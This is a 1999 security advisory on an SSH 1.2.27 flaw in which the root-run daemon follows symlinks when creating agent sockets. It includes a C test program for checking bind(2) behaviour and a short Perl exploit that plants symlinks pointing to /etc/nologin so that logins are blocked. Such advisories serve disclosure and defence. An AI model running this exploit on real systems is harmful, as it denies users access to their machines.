SSH Authentication Socket File Creation Vulnerability

Bugtraq ID:	660
Class:	Access Validation Error
CVE:
Remote:	No
Local:	Yes
Published:	Sep 17 1999 12:00AM
Updated:	Sep 17 1999 12:00AM
Credit:	This vulnerability was found by Tymm Twillman <[email protected]>.
Vulnerable:	SSH Communications Security SSH 1.2.27 - Debian Linux 2.2 sparc - Debian Linux 2.2 powerpc - Debian Linux 2.2 arm - Debian Linux 2.2 alpha - Debian Linux 2.2 68k - Debian Linux 2.2
Not Vulnerable:

SSH Authentication Socket File Creation Vulnerability

A vulnerability in SSH's creation of the authentication agent UNIX domain socket allows local users to create a UNIX domain socket with an arbitrary file name in the system.

SSH has the concept of authentication proxying via the SSH authentication agent. It allows for a basic kind of Single Sign-On capability. The sshd daemon, ssh and ssh-agent communicate via a UNIX domain socket normally of the form '/tmp/ssh-<username>/agent-socket-<pid>'.

SSH follows symbolic links while creating the socket as root thus allowing any local users with ssh access to create a socket with an arbitrary filename in the system.

Notice that this will not work under all operating systems. Some operating systems do not follow symbolic links during bind(2) on UNIX domain sockets. Linux 2.0.x, Solaris 2.5.1 and IRIX 6.5.2 do not follow symbolic links during bind(2). Linux 2.1.x does.

You can use the following program by Dan Astoorian <[email protected]> to test whether your system does or does not follow symbolic links during bind(2):

#include <stdio.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>

#define FPATH "./bindlinktest"
#define LPATH "./bindlinktest0"

int main(int argc, char **argv) {
int fd;
struct sockaddr_un sunaddr;

fd = socket(AF_UNIX, SOCK_STREAM, 0);
if (fd < 0) { perror("socket");exit(1); };

unlink(FPATH);
if (symlink(FPATH, LPATH) < 0) {
perror("symlink");exit(1);
}

memset(&sunaddr, 0, sizeof(sunaddr));
sunaddr.sun_family = AF_UNIX;
strncpy(sunaddr.sun_path, LPATH, sizeof(sunaddr.sun_path));
if (bind(fd, (struct sockaddr *)&sunaddr, sizeof(sunaddr)) < 0) {
if (errno == EADDRINUSE) {
printf("bind() returned EADDRINUSE; this system appears to be okay.\n");
} else {
perror("bind");
}
} else {
printf("bind() succeeded; this system appears to be vulnerable.\n");
}

close(fd)
unlink(FPATH);
unlink(LPATH);
exit(0);
}

SSH Authentication Socket File Creation Vulnerability

#!/usr/bin/perl

$pid = $$;

$whoami = `whoami`;
chop($whoami);
mkdir("/tmp/ssh-$whoami", 0700);

for ($i = $pid; $i < $pid+50; $i++)
{
symlink("/etc/nologin", "/tmp/ssh-$whoami/ssh-$i-agent");
}

SSH Authentication Socket File Creation Vulnerability

Solution:
Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].

SSH Authentication Socket File Creation Vulnerability

References: